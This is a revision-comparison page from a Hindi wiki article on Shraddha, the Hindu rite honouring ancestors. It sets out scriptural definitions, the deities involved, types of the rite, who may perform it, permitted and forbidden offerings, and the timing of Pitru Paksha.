Difference between revisions of "श्राद्ध"

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{{श्राद्ध विषय सूची}}{{अस्वीकरण}}{{चयनित लेख}}
 
{{श्राद्ध विषय सूची}}{{अस्वीकरण}}{{चयनित लेख}}
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{{सूचना बक्सा त्योहार
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{{श्राद्ध संक्षिप्त परिचय}}
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|चित्र=Shradh-Kolaj.jpg
 
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|चित्र का नाम= श्राद्ध कर्म में पूजा करते ब्राह्मण
 
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|अन्य नाम =पितृ पक्ष
 
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|अनुयायी =सभी [[हिन्दू धर्म|हिन्दू धर्मावलम्बी]]
 
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|उद्देश्य = श्राद्ध पूर्वजों के प्रति सच्ची श्रद्धा का प्रतीक हैं। पितरों के निमित्त विधिपूर्वक जो कर्म श्रद्धा से किया जाता है, उसी को 'श्राद्ध' कहते हैं।
 
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|प्रारम्भ = वैदिक-पौराणिक
 
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|तिथि=[[भाद्रपद]] [[शुक्ल पक्ष]] की [[पूर्णिमा]] से [[सर्वपितृ अमावस्या]] अर्थात [[आश्विन]] [[कृष्ण पक्ष]] [[अमावस्या]] तक
 
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|उत्सव =
 
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|अनुष्ठान =श्राद्ध-कर्म में पके हुए [[चावल]], [[दूध]] और [[तिल]] को मिश्रित करके 'पिण्ड' बनाते हैं, उसे 'सपिण्डीकरण' कहते हैं। पिण्ड का अर्थ है शरीर। यह एक पारंपरिक विश्वास है कि हर पीढ़ी के भीतर मातृकुल तथा पितृकुल दोनों में पहले की पीढ़ियों के समन्वित 'गुणसूत्र' उपस्थित होते हैं। यह प्रतीकात्मक अनुष्ठान जिन जिन लोगों के गुणसूत्र (जीन्स) श्राद्ध करने वाले की अपनी देह में हैं, उनकी तृप्ति के लिए होता है।
 
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|धार्मिक मान्यता =
 
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|प्रसिद्धि =
 
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|संबंधित लेख=[[पितृ पक्ष]], [[श्राद्ध के नियम]], [[अन्वष्टका कृत्य (श्राद्ध)|अन्वष्टका कृत्य]], [[अष्टका कृत्य (श्राद्ध)|अष्टका कृत्य]], [[अन्वाहार्य श्राद्ध]], [[विसर्जन (श्राद्ध)|श्राद्ध विसर्जन]], [[पितृ विसर्जन अमावस्या]], [[तर्पण (श्राद्ध)|तर्पण]], [[माध्यावर्ष कृत्य (श्राद्ध)|माध्यावर्ष कृत्य]], [[मातामह श्राद्ध]], [[पितर]], [[श्राद्ध और ग्रहण]], [[श्राद्ध करने का स्थान]], [[श्राद्ध की आहुति]], [[श्राद्ध की कोटियाँ]], [[श्राद्ध की महत्ता]], [[श्राद्ध प्रपौत्र द्वारा]], [[श्राद्ध फलसूची]], [[श्राद्ध वर्जना]], [[श्राद्ध विधि (संक्षिप्त)|श्राद्ध विधि]], [[पिण्ड (श्राद्ध)|पिण्डदान]], [[गया]], [[नासिक]], [[आदित्य देवता]] और [[रुद्र|रुद्र देवता]]
 
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|शीर्षक 1=
 
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|पाठ 1=
 
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|शीर्षक 2=
 
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|पाठ 2=
 
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|अन्य जानकारी=[[ब्रह्म पुराण]] के अनुसार श्राद्ध की परिभाषा- 'जो कुछ उचित काल, पात्र एवं स्थान के अनुसार उचित (शास्त्रानुमोदित) विधि द्वारा पितरों को लक्ष्य करके श्रद्धापूर्वक [[ब्राह्मण|ब्राह्मणों]] को दिया जाता है', श्राद्ध कहलाता है।
 
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|बाहरी कड़ियाँ=
 
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|अद्यतन=
 
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}}
 
 
'''श्राद्ध''' पूर्वजों के प्रति सच्ची श्रद्धा का प्रतीक हैं। [[पितर|पितरों]] के निमित्त विधिपूर्वक जो कर्म श्रद्धा से किया जाता है, उसी को 'श्राद्ध' कहते हैं। [[हिन्दू धर्म]] के अनुसार, प्रत्येक शुभ कार्य के प्रारम्भ में [[माता]]-[[पिता]], पूर्वजों को [[नमस्कार]] या प्रणाम करना हमारा कर्तव्य है, हमारे पूर्वजों की वंश परम्परा के कारण ही हम आज यह जीवन देख रहे हैं, इस जीवन का आनंद प्राप्त कर रहे हैं। इस धर्म में, [[ऋषि|ऋषियों]] ने [[वर्ष]] में एक [[पक्ष]] को '''पितृपक्ष''' का नाम दिया, जिस पक्ष में हम अपने पितरेश्वरों का श्राद्ध, [[तर्पण (श्राद्ध)|तर्पण]], मुक्ति हेतु विशेष क्रिया संपन्न कर उन्हें [[अर्ध्य]] समर्पित करते हैं। यदि किसी कारण से उनकी आत्मा को मुक्ति प्रदान नहीं हुई है तो हम उनकी शांति के लिए विशिष्ट कर्म करते है, जिसे 'श्राद्ध' कहते हैं।
 
'''श्राद्ध''' पूर्वजों के प्रति सच्ची श्रद्धा का प्रतीक हैं। [[पितर|पितरों]] के निमित्त विधिपूर्वक जो कर्म श्रद्धा से किया जाता है, उसी को 'श्राद्ध' कहते हैं। [[हिन्दू धर्म]] के अनुसार, प्रत्येक शुभ कार्य के प्रारम्भ में [[माता]]-[[पिता]], पूर्वजों को [[नमस्कार]] या प्रणाम करना हमारा कर्तव्य है, हमारे पूर्वजों की वंश परम्परा के कारण ही हम आज यह जीवन देख रहे हैं, इस जीवन का आनंद प्राप्त कर रहे हैं। इस धर्म में, [[ऋषि|ऋषियों]] ने [[वर्ष]] में एक [[पक्ष]] को '''पितृपक्ष''' का नाम दिया, जिस पक्ष में हम अपने पितरेश्वरों का श्राद्ध, [[तर्पण (श्राद्ध)|तर्पण]], मुक्ति हेतु विशेष क्रिया संपन्न कर उन्हें [[अर्ध्य]] समर्पित करते हैं। यदि किसी कारण से उनकी आत्मा को मुक्ति प्रदान नहीं हुई है तो हम उनकी शांति के लिए विशिष्ट कर्म करते है, जिसे 'श्राद्ध' कहते हैं।
 
==श्राद्ध एक परिचय==
 
==श्राद्ध एक परिचय==
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*'''[[ब्रह्म पुराण]] ने श्राद्ध की परिभाषा इस प्रकार की है, 'जो कुछ उचित काल, पात्र एवं स्थान के अनुसार उचित (शास्त्रानुमोदित) विधि द्वारा [[पितर|पितरों]] को लक्ष्य करके श्रद्धापूर्वक [[ब्राह्मण|ब्राह्मणों]] को दिया जाता है, वह श्राद्ध कहलाता है।'''<ref>देशे काले च पात्रे च श्रद्धया विधिना च यत्। पितृनुद्दिश्य विप्रभ्यों दत्तं श्राद्धमुदाह्रतम्।। ब्रह्मपुराण (श्राद्धप्रकाश, पृष्ठ 3 एवं 6; श्राद्धकल्पलता, पृष्ठ 3; परा. मा. 1|2, पृष्ठ 299)। मिता. (याज्ञ. 1|217) में  आया है–'श्राद्धं नाम्तदनीयस्य तत्स्यानीयसय वा द्रव्यस्य प्रेतोद्देशेन श्रद्धया त्याग:।' श्राद्धकल्पतरु (पृष्ठ 4) में ऐसा कहा गया है–'एतेन पितृनुद्दिश्य द्रव्योत्यागो ब्राह्मणस्वीकरणपर्यन्तं श्राद्धस्वरूपं प्रधानम्।' श्राद्धक्रियाकौमुदी (पृष्ठ 3-4) का कथन है–'कल्पतरुलक्षणमय्यनुर्वादय सन्न्यासिनामात्मश्राद्धे देवश्राद्धे सनकादिश्राद्धे चाव्याप्ते:।' श्रीदत्तकृत पितृभक्ति में आया है–'अत्र कल्पतरुकार: पितृनुद्दिश्य द्रव्यपातो ब्राह्मणस्वीकरणपर्यन्ती हि श्राद्धमित्याह तदयुक्तम्।' दीपकलिका (याज्ञवल्क्यस्मृति 1|128) ने कल्पतरु की बात मानी है। श्राद्धविवेक (पृष्ठ 1) ने इस प्रकार कहा है–'श्राद्धं नाम वेदवोधितपात्रम्भनपूर्वकप्रमीतपित्रादिदेवतोद्देश्यको द्रव्यत्यागविशेष:।' श्राद्धप्रकाश (पृष्ठ 4) ने इस प्रकार कहा है–'अत्रापस्तम्बादिसकलवचनपर्यालोचनया प्रमीतमात्रोद्देश्यकान्नत्यागविशेषस्य ब्राह्मणद्यधिककरण प्रतिपत्त्ययंगकस्य श्राद्धपदार्थत्वं प्रतीययते।' श्राद्धविवेक का कथन है कि 'द्रव्यत्याग' [[वेद]] के शब्दों द्वारा विहित (वेदबोधत) है और त्यागी हुई वस्तु सुपात्र [[ब्राह्मण]] को (पात्रालम्भनपूर्वक) दी जाती है।  
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{{Main|श्राद्ध एक परिचय}}}
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'''[[ब्रह्म पुराण]] ने श्राद्ध की परिभाषा इस प्रकार की है, 'जो कुछ उचित काल, पात्र एवं स्थान के अनुसार उचित (शास्त्रानुमोदित) विधि द्वारा [[पितर|पितरों]] को लक्ष्य करके श्रद्धापूर्वक [[ब्राह्मण|ब्राह्मणों]] को दिया जाता है, वह श्राद्ध कहलाता है।'''<ref>देशे काले च पात्रे च श्रद्धया विधिना च यत्। पितृनुद्दिश्य विप्रभ्यों दत्तं श्राद्धमुदाह्रतम्।। ब्रह्मपुराण (श्राद्धप्रकाश, पृष्ठ 3 एवं 6; श्राद्धकल्पलता, पृष्ठ 3; परा. मा. 1|2, पृष्ठ 299)। मिता. (याज्ञ. 1|217) में  आया है–'श्राद्धं नाम्तदनीयस्य तत्स्यानीयसय वा द्रव्यस्य प्रेतोद्देशेन श्रद्धया त्याग:।' श्राद्धकल्पतरु (पृष्ठ 4) में ऐसा कहा गया है–'एतेन पितृनुद्दिश्य द्रव्योत्यागो ब्राह्मणस्वीकरणपर्यन्तं श्राद्धस्वरूपं प्रधानम्।' श्राद्धक्रियाकौमुदी (पृष्ठ 3-4) का कथन है–'कल्पतरुलक्षणमय्यनुर्वादय सन्न्यासिनामात्मश्राद्धे देवश्राद्धे सनकादिश्राद्धे चाव्याप्ते:।' श्रीदत्तकृत पितृभक्ति में आया है–'अत्र कल्पतरुकार: पितृनुद्दिश्य द्रव्यपातो ब्राह्मणस्वीकरणपर्यन्ती हि श्राद्धमित्याह तदयुक्तम्।' दीपकलिका (याज्ञवल्क्यस्मृति 1|128) ने कल्पतरु की बात मानी है। श्राद्धविवेक (पृष्ठ 1) ने इस प्रकार कहा है–'श्राद्धं नाम वेदवोधितपात्रम्भनपूर्वकप्रमीतपित्रादिदेवतोद्देश्यको द्रव्यत्यागविशेष:।' श्राद्धप्रकाश (पृष्ठ 4) ने इस प्रकार कहा है–'अत्रापस्तम्बादिसकलवचनपर्यालोचनया प्रमीतमात्रोद्देश्यकान्नत्यागविशेषस्य ब्राह्मणद्यधिककरण प्रतिपत्त्ययंगकस्य श्राद्धपदार्थत्वं प्रतीययते।' श्राद्धविवेक का कथन है कि 'द्रव्यत्याग' [[वेद]] के शब्दों द्वारा विहित (वेदबोधत) है और त्यागी हुई वस्तु सुपात्र [[ब्राह्मण]] को (पात्रालम्भनपूर्वक) दी जाती है।  
 
श्राद्धप्रकाश में 'प्रतिपत्ति' का अर्थ है [[यज्ञ]] में प्रयुक्त किसी वस्तु की अन्तिम परिणति, जैसा कि दर्शपूर्णमास यज्ञ में 'सह शाखया प्रस्तरं प्रहरति' नामक वाक्य आया है। यहाँ 'शाखाप्रहरण' 'प्रतिपत्तिकर्म' है (जैमिनि. 4|2|10-13) न कि अर्थकर्म। इसी प्रकार आहिताग्नि के साथ उसके यज्ञपात्रों का दाह प्रतिपत्तिकर्म है (जहाँ तक यज्ञपात्रों का सम्बन्ध है)।</ref>  
 
श्राद्धप्रकाश में 'प्रतिपत्ति' का अर्थ है [[यज्ञ]] में प्रयुक्त किसी वस्तु की अन्तिम परिणति, जैसा कि दर्शपूर्णमास यज्ञ में 'सह शाखया प्रस्तरं प्रहरति' नामक वाक्य आया है। यहाँ 'शाखाप्रहरण' 'प्रतिपत्तिकर्म' है (जैमिनि. 4|2|10-13) न कि अर्थकर्म। इसी प्रकार आहिताग्नि के साथ उसके यज्ञपात्रों का दाह प्रतिपत्तिकर्म है (जहाँ तक यज्ञपात्रों का सम्बन्ध है)।</ref>  
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*मिताक्षरा<ref>(याज्ञवल्क्यस्मृति 1|217</ref> ने श्राद्ध को इस प्रकार परिभाषित किया है, 'पितरों का उद्देश्य करके (उनके कल्याण के लिए) श्रद्धापूर्वक किसी वस्तु का या उससे सम्बन्धित किसी द्रव्य का त्याग श्राद्ध है।'
 
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*कल्पतरु की परिभाषा इस प्रकार है, 'पितरों का उद्देश्य करके (उनके लाभ के लिए) यज्ञिय वस्तु का त्याग एवं ब्राह्मणों के द्वारा उसका ग्रहण प्रधान श्राद्धस्वरूप है।'
 
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*रुद्रधर के श्राद्धविवेक एवं श्राद्धप्रकाश ने मिताक्षरा के समान ही कहा है, किन्तु इनमें परिभाषा कुछ उलझ सी गयी है।
 
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*याज्ञवल्क्यस्मृति<ref>याज्ञवल्क्यस्मृति (1|268=[[अग्निपुराण]] 163|40-41</ref> का कथन है कि पितर लोग, यथा–[[वसु]], [[रुद्र]] एवं [[आदित्य देवता|आदित्य]], जो कि श्राद्ध के [[देवता]] हैं, श्राद्ध से संतुष्ट होकर मानवों के पूर्वपुरुषों को संतुष्टि देते हैं।
 
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*यह वचन एवं मनु<ref>मनु (3|284</ref> की उक्ति यह स्पष्ट करती है कि मनुष्य के तीन पूर्वज, यथा–[[पिता]], पितामह एवं प्रपितामह क्रम से पितृ-देवों, अर्थात् वसुओं, रुद्रों एवं आदित्य के समान हैं और श्राद्ध करते समय उनकों पूर्वजों का प्रतिनिधि मानना चाहिए। कुछ लोगों के मत से श्राद्ध से इन बातों का निर्देश होता है; होम, पिण्डदान एवं ब्राह्मण तर्पण (ब्राह्मण संतुष्टि भोजन आदि से); किन्तु श्राद्ध शब्द का प्रयोग इन तीनों के साथ गौण अर्थ में उपयुक्त समझा जा सकता है।
 
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====श्राद्ध और पितर====
 
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श्राद्धों का पितरों के साथ अटूट संबंध है। पितरों के बिना श्राद्ध की कल्पना नहीं की जा सकती। श्राद्ध पितरों को आहार पहुँचाने का माध्यम मात्र है। मृत व्यक्ति के लिए जो श्रद्धायुक्त होकर [[तर्पण (श्राद्ध)|तर्पण]], [[पिण्ड (श्राद्ध)|पिण्ड]], दानादि किया जाता है, उसे 'श्राद्ध' कहा जाता है और जिस 'मृत व्यक्ति' के एक [[वर्ष]] तक के सभी और्ध्व दैहिक क्रिया कर्म संपन्न हो जायें, उसी की 'पितर' संज्ञा हो जाती है।
 
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<poem>
 
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'मेरे वे पितर जो प्रेतरूप हैं, तिलयुक्त जौ के पिण्डों से तृप्त हों।
 
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साथ ही सृष्टि में हर वस्तु ब्रह्मा से लेकर तिनके तक,
 
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चर हो या अचर, मेरे द्वारा दिये जल से तृप्त हों।' - [[वायु पुराण]]
 
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</poem>
 
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====श्राद्ध क्या है?====
 
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श्राद्ध प्रथा [[वैदिक काल]] के बाद शुरू हुई और इसके मूल में इसी [[श्लोक]] की भावना है। उचित समय पर शास्त्रसम्मत विधि द्वारा पितरों के लिए श्रद्धा भाव से मन्त्रों के साथ जो दान-दक्षिणा आदि, दिया जाय, वही श्राद्ध कहलाता है। 20 अंश रेतस (सोम) को 'पितृॠण' कहते हैं। 28 अंश रेतस के रूप में 'श्रद्धा' नामक मार्ग से भेजे जाने वाले 'पिण्ड' तथा 'जल' आदि के दान को श्राद्ध कहते हैं। इस श्रद्धावान मार्ग का संबंध मध्याह्न काल में श्राद्ध करने का विधान है।
 
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====श्राद्ध के देवता====
 
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[[वसु]], [[रुद्र]] और [[आदित्य देवता|आदित्य]] श्राद्ध के [[देवता]] माने जाते हैं।
 
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====श्राद्ध क्यों?====
 
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हर व्यक्ति के तीन पूर्वज [[पिता]], [[दादा]] और परदादा क्रम से वसु, रुद्र और आदित्य के समान माने जाते हैं। श्राद्ध के वक़्त वे ही अन्य सभी पूर्वजों के प्रतिनिधि माने जाते हैं। ऐसा माना जाता है कि वे श्राद्ध कराने वालों के शरीर में प्रवेश करके और ठीक ढंग से रीति-रिवाजों के अनुसार कराये गये श्राद्ध-कर्म से तृप्त होकर वे अपने वंशधर को सपरिवार सुख-समृद्धि और स्वास्थ्य का आर्शीवाद देते हैं। श्राद्ध-कर्म में उच्चारित मन्त्रों और आहुतियों को वे अन्य सभी पितरों तक ले जाते हैं।
 
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====श्राद्ध के प्रकार====
 
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श्राद्ध तीन प्रकार के होते हैं-
 
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*नित्य-  यह श्राद्ध के दिनों में मृतक के निधन की [[तिथि]] पर किया जाता है।
 
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*नैमित्तिक- किसी विशेष पारिवारिक उत्सव, जैसे - पुत्र जन्म पर मृतक को याद कर किया जाता है।
 
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*काम्य-  यह श्राद्ध किसी विशेष मनौती के लिए [[कृत्तिका नक्षत्र|कृत्तिका ]] या [[रोहिणी नक्षत्र]] में किया जाता है।
 
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====श्राद्ध क्यों अनुपयोगी====
 
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नन्द पंण्डित कृत 'श्राद्धकल्प' (लगभग 1600 ई.) ने विरोधियों (जिन्हें वे नास्तिक कहते हैं) को विस्तृत प्रत्युत्तर दिया है। विरोधियों का कथन है कि [[पिता]] आदि के लिए, जो अपने विशिष्ट कर्मों के अनुसार स्वर्ग या नरक को जाते हैं या अन्य प्रकार का जीवन धारण करते हैं, श्राद्ध सम्पादन कोई अर्थ नहीं रखता। नन्द पंण्डित ने पूछा है – 'श्राद्ध क्यों अनुपयोगी है?' क्या इसीलिए कि इसके सम्पादन की अपरिहार्यता के लिए कोई व्यवस्थित विधान नहीं है? या इसीलिए कि श्राद्ध से फलों की प्राप्ति नहीं होती? या इसीलिए कि यह सिद्ध नहीं हुआ है कि पितृगण श्राद्ध से संतुष्टि पाते हैं? प्रथम प्रश्न का उत्तर यह है कि 'विज्ञ लोगों को पूरी शक्ति भर श्राद्ध अवश्य करना चाहिए'– ऐसे वचन हैं जो श्राद्ध की अनिवार्यता घोषित करते हैं। इसी प्रकार से दूसरा विरोध भी अनुचित है, क्योंकि याज्ञवल्क्यस्मृति<ref>याज्ञवल्क्यस्मृति (1|269</ref> ने श्राद्ध के फल भी घोषित किये हैं, यथा दीर्घ जीवन आदि। इसी प्रकार तीसरा विकल्प भी स्वीकार करने योग्य नहीं है।
 
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[[चित्र:Shraddh-2.jpg|thumb|250px|[[ब्राह्मण]]]]
 
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श्राद्ध कृत्यों में ऐसा नहीं है कि केवल 'देवदत्त' आदि नाम वाले पूर्वज ही प्राप्तिकर्ता हैं और वे पितृ, पितामह एवं प्रपितामह शब्दों से लक्षित होते हैं। प्रत्युत वे नाम वसुओं, रुद्रों तथा आदित्यों जैसे अधीक्षक [[देवता|देवताओं]] के साथ ही द्योतित होते हैं। जिस प्रकार देवदत्त आदि शब्दों से जो लक्षित होता है, वह न केवल शरीरों (जैसे की नाम दिये गये हैं) एवं आत्माओं का द्योतन करता है, प्रत्युत वह शरीरों से विशिष्टिकृत व्यक्तिगत आत्माओं का परिचायक है। इसी प्रकार पितृ आदि शब्द अधीक्षक देवताओं (वसु, रुद्र एवं आदित्य) के साथ 'देवदत्त' एवं अन्यों के सम्मिलित रूप का द्योतन करते हैं। अत: वसु आदि अधीक्षक देवतागण पुत्रों आदि द्वारा दिये गये भोजन-पान से संतुष्ट होकर उन्हें, अर्थात् देवदत्त आदि को संतुष्ट करते हैं और श्राद्धकर्ता को संतति, पुत्र, जीवन, सम्पत्ति आदि से फल देते हैं। जिस प्रकार गर्भवती माता 'देहाद' (गर्भवती दशा में स्त्रियों की विशिष्ट इच्छा) रूप में अन्य लोगों से मधुर अन्न-पान आदि द्वारा स्वयं सन्तुष्टि प्राप्त करती है और गर्भस्थित बच्चे को भी संतुष्टि देती है तथा दोहद, अन्न आदि देने वाले को प्रत्युपकारक फल देती है, वैसे ही पितृ शब्द से द्योतित पिता, पितामह एवं प्रपितामह वसुओं, रुद्रों तथा आदित्यों के रूप हैं, वे केवल मानव रूप में कहे जाने वाले देवदत्त आदि के समान नहीं हैं।
 
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इसी से ये अधिष्ठाता देवतागण श्राद्ध में किये गये दानादि के प्राप्तिकर्ता होते हैं, श्राद्ध से तर्पित (संतुष्ट) होते हैं और मनुष्य के पितरों को संतुष्ट करते हैं।<ref>श्राद्धकल्पलता, पृष्ठ 3-4)।</ref> श्राद्धकल्पलता ने [[मार्कण्डेय पुराण]] से 18 श्लोक उद्धृत किये हैं, जिनमें बहुत से अध्याय 28 में पाये जाते हैं। जिस प्रकार बछड़ा अपनी [[माता]] को इतस्तत: फैली हुई अन्य [[गाय|गायों]] में से चुन लेता है, उसी प्रकार श्राद्ध में कहे गये मंत्र प्रदत्त भोजन को पितरों तक ले जाते हैं।<ref>यथा गोषु प्रनष्टासु वत्सो विन्दति मातरम्। तथा श्राद्धेषु दृष्टान्तो (दत्रान्नं) मंत्र: प्रापयते तु तम्।। मत्स्यपुराण (141|76); [[वायु पुराण]] (56|85 एवं 83|119-120); ब्रह्मण्ड, अनुर्षगपाद (218-90|91), उपोद्वातपाद (20|12-13); जैसा कि स्मृतिच. (श्रा. पृष्ठ 448) ने उदधृत किया है। और श्राद्धकल्पलता (पृष्ठ 5)।</ref>
 
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====श्राद्ध करने को उपयुक्त====
 
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साधारणत: [[पुत्र]] ही अपने पूर्वजों का श्राद्ध करते हैं। किन्तु शास्त्रानुसार ऐसा हर व्यक्ति जिसने मृतक की सम्पत्ति विरासत में पायी है और उससे प्रेम और आदर भाव रखता है, उस व्यक्ति का स्नेहवश श्राद्ध कर सकता है। विद्या की विरासत से भी लाभ पाने वाला छात्र भी अपने दिवंगत गुरु का श्राद्ध कर सकता है। पुत्र की अनुपस्थिति में [[पौत्र]] या प्रपौत्र भी श्राद्ध-कर्म कर सकता है। नि:सन्तान पत्नी को पति द्वारा, [[पिता]] द्वारा पुत्र को और बड़े भाई द्वारा छोटे भाई को पिण्ड नहीं दिया जा सकता। किन्तु कम उम्र का ऐसा बच्चा, जिसका [[उपनयन संस्कार]] न हुआ हो, [[पिता]] को [[जल]] देकर नवश्राद्ध कर सकता। शेष कार्य<ref>  पिण्डदान, अग्निहोम </ref> उसकी ओर से कुल [[पुरोहित]] करता है।<ref name="LH">{{cite web |url=http://livehindustan.com/news/lifestyle/lifestylenews/article1-story-50-50-70846.html |title=श्राद्ध: दस सवाल जो आज के युवा पूछना चाहते हैं |accessmonthday=16 सितंबर |accessyear=2011 |last= |first= |authorlink= |format=एच.टी.एम.एल |publisher=लाइव हिन्दुस्तान डॉट कॉम|language=हिन्दी }}</ref>
 
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====श्राद्ध के लिए उचित बातें====
 
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* श्राद्ध के लिए उचित [[द्रव्य (विज्ञान)|द्रव्य]] हैं- [[तिल]], माष (उड़द), [[चावल]], [[जौ]], [[जल]], मूल, (जड़युक्त सब्जी) और [[फल]]।
 
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* तीन चीज़ें शुद्धिकारक हैं - पुत्री का पुत्र, तिल और नेपाली कम्बल या कुश।
 
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* तीन बातें प्रशंसनीय हैं - सफ़ाई, क्रोधहीनता और चैन (त्वरा (शीघ्रता)) का न होना।
 
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* श्राद्ध में महत्त्वपूर्ण बातें - अपरान्ह का समय, कुशा, श्राद्धस्थली की स्वच्छ्ता, उदारता से भोजन आदि की व्यवस्था और अच्छे [[ब्राह्मण]] की उपस्थिति।<ref name="LH"/>
 
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====श्राद्ध के लिए अनुचित बातें====
 
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[[चित्र:Pind dan shradh.jpg|thumb|पिण्डदान करते श्रद्धालु|250px]]
 
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कुछ अन्न और खाद्य पदार्थ जो श्राद्ध में नहीं प्रयुक्त होते- मसूर, राजमा, कोदों, [[चना]], कपित्थ, अलसी,  तीसी, सन, बासी भोजन और समुद्र जल से बना [[नमक]]। [[भैंस]], हिरणी, उँटनी, भेड़ और एक खुर वाले पशु का [[दूध]] भी वर्जित है पर भैंस का [[घी]] वर्जित नहीं है। श्राद्ध में [[दूध]], [[दही]] और [[घी]] पितरों के लिए विशेष तुष्टिकारक माने जाते हैं। श्राद्ध किसी दूसरे के घर में, दूसरे की भूमि में कभी नहीं किया जाता है। जिस भूमि पर किसी का स्वामित्व न हो, सार्वजनिक हो, ऐसी भूमि पर श्राद्ध किया जा सकता है।<ref name="LH"/>
 
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====भाद्रपद में ही श्राद्ध क्यों====
 
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हमारा एक [[माह]] [[चंद्रमा]] का एक अहोरात्र होता है। इसीलिए ऊर्ध्व भाग पर रह रहे पितरों के लिए [[कृष्ण पक्ष]] उत्तम होता है। [[कृष्ण पक्ष]] की [[अष्टमी]] को उनके दिनों का उदय होता है। [[अमावस्या]] उनका मध्याह्न है तथा [[शुक्ल पक्ष]] की अष्टमी अंतिम [[दिवस|दिन]] होता है। धार्मिक मान्यता है कि अमावस्या को किया गया श्राद्ध, तर्पण, पिंडदान उन्हें संतुष्टि व ऊर्जा प्रदान करते हैं। ज्योतिषशास्त्र के अनुसार [[पृथ्वी]] लोक में [[देवता]] उत्तर गोल में विचरण करते हैं और दक्षिण गोल [[भाद्रपद]] मास की [[पूर्णिमा]] को चंद्रलोक के साथ-साथ [[पृथ्वी]] के नज़दीक से गुजरता है। इस [[मास]] की प्रतीक्षा हमारे पूर्वज पूरे [[वर्ष]] भर करते हैं। वे चंद्रलोक के माध्यम से दक्षिण दिशा में अपनी मृत्यु तिथि पर अपने घर के दरवाज़े पर पहुँच जाते है और वहाँ अपना सम्मान पाकर प्रसन्नतापूर्वक अपनी नई पीढ़ी को आर्शीवाद देकर चले जाते हैं। ऐसा वर्णन 'श्राद्ध मीमांसा' में मिलता है। इस तरह पितृ ॠण से मुक्त होने के लिए श्राद्ध काल में पितरों का तर्पण और पूजन किया जाता है। [[भारतीय संस्कृति]] एवं समाज में अपने पूर्वजों एवं दिवंगत माता-पिता के स्मरण श्राद्ध पक्ष में करके उनके प्रति असीम श्रद्धा के साथ [[तर्पण (श्राद्ध)|तर्पण]], [[पिंडदान]], [[यक्ष]] तथा [[ब्राह्मण|ब्राह्मणों]] के लिए भोजन का प्रावधान किया गया है। [[पितर|पितरों]] के लिए किए जाने वाले श्राद्ध दो तिथियों पर किए जाते हैं। प्रथम मृत्यु या क्षय तिथि पर और दूसरा [[पितृ पक्ष]] में। जिस मास और तिथि को पितृ की मृत्यु हुई है अथवा जिस तिथि को उनका दाह संस्कार हुआ है, [[वर्ष]] में उम्र उस तिथि को एकोदिष्ट श्राद्ध किया जाता है।
 
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एकोदिष्ट श्राद्ध में केवल एक पितर की संतुष्टि के लिए श्राद्ध किया जाता है। इसमें एक पिण्ड का दान और एक [[ब्राह्मण]] को भोजन कराया जाता है। यदि किसी को अपने पूर्वजों की मृत्यु की तिथियाँ याद नहीं है, तो वह [[अमावस्या]] के दिन ज्ञात-अज्ञात पूर्वजों का विधि-विधान से पिंडदान तर्पण, श्राद्ध कर सकता है। इस दिन किया गया तर्पण करके 15 [[दिन]] के बराबर का पुण्य फल मिलता है और [[परिवार|घर परिवार]], व्यवसाय तथा आजीविका में विशेष उन्नति होती है। यदि [[परिवार]] के किसी सदस्य की अकाल मृत्यु हुई है, तो पितृदोष के निवारण के लिए शास्त्रीय विधि के अनुसार उसकी आत्मशांति के लिए किसी पवित्र [[तीर्थ]] स्थान पर श्राद्ध करना चाहिए। सामर्थ्यनुसार किसी सुयोग्य कर्मनिष्ठ ब्राह्मण से [[भागवत पुराण|श्रीमद्‌ भागवत पुराण]] की कथा अपने पितरों की आत्मशांति के लिए करवा सकते हैं। इससे विशेष पुण्य फल की प्राप्ति होती है। इसके फलस्वरूप परिवार में अशांति, वंश वृद्धि में रुकावट, आकस्मिक बीमारी, धन से बरकत न होना सारी सुख सुविधाओं के होते भी मन असंतुष्ट रहना आदि परेशानियों से मुक्ति मिल सकती है।
 
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====मातामह श्राद्ध====
 
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[[चित्र:Shraddh-3.jpg|thumb|250px|श्रद्धालु]]
 
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{{Main|मातामह श्राद्ध}}
 
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*मातामह श्राद्ध अपने आप में एक ऐसा श्राद्ध है जो एक [[पुत्री]] द्वारा अपने [[पिता]] को व एक नाती द्वारा अपने [[नाना]] को तर्पण किया जाता है।
 
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*इस श्राद्ध को सुख शांति का प्रतीक माना जाता है क्योंकि यह श्राद्ध करने के लिए कुछ आवश्यक शर्तें है अगर वो पूरी न हो तो यह श्राद्ध नहीं निकाला जाता।
 
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*शर्त यह है कि मातामह श्राद्ध उसी औरत के पिता का निकाला जाता है जिसका पति व पुत्र ज़िन्दा हो अगर ऐसा नहीं है और दोनों में से किसी एक का निधन हो चुका है या है ही नहीं तो मातामह श्राद्ध का तर्पण नहीं किया जाता।
 
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====श्राद्ध में कुश और तिल का महत्त्व====
 
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दर्भ या कुश को जल और वनस्पतियों का सार माना जाता है। यह भी मान्यता है कि कुश और [[तिल]] दोनों [[विष्णु]] के शरीर से निकले हैं। [[गरुड़ पुराण]] के अनुसार, तीनों [[देवता]] [[ब्रह्मा]], [[विष्णु]], [[महेश]] कुश में क्रमश: जड़, मध्य और अग्रभाग में रहते हैं। कुश का अग्रभाग देवताओं का, मध्य भाग मनुष्यों का और जड़ पितरों का माना जाता है। तिल पितरों को प्रिय हैं और दुष्टात्माओं को दूर भगाने वाले माने जाते हैं। मान्यता है कि बिना तिल बिखेरे श्राद्ध किया जाये तो दुष्टात्मायें [[हवि]] को ग्रहण कर लेती हैं।<ref name="LH"/>
 
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====कम ख़र्च में श्राद्ध====
 
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[[विष्णु पुराण]] के अनुसार दरिद्र व्यक्ति केवल मोटा अन्न, जंगली साग-पात-फल और न्यूनतम दक्षिणा, वह भी ना हो तो सात या आठ तिल अंजलि में जल के साथ लेकर [[ब्राह्मण]] को देना चाहिए या किसी [[गाय]] को दिन भर घास खिला देनी चाहिए अन्यथा हाथ उठाकर दिक्पालों और [[सूर्य देवता|सूर्य]] से याचना करनी चाहिए कि हे! प्रभु मैंने हाथ [[वायु देव|वायु]] में फैला दिये हैं, मेरे पितर मेरी भक्ति से संतुष्ट हों।
 
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====कौओं का महत्त्व====
 
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[[चित्र:Crow.jpg|thumb|[[कौआ]]|250px]]
 
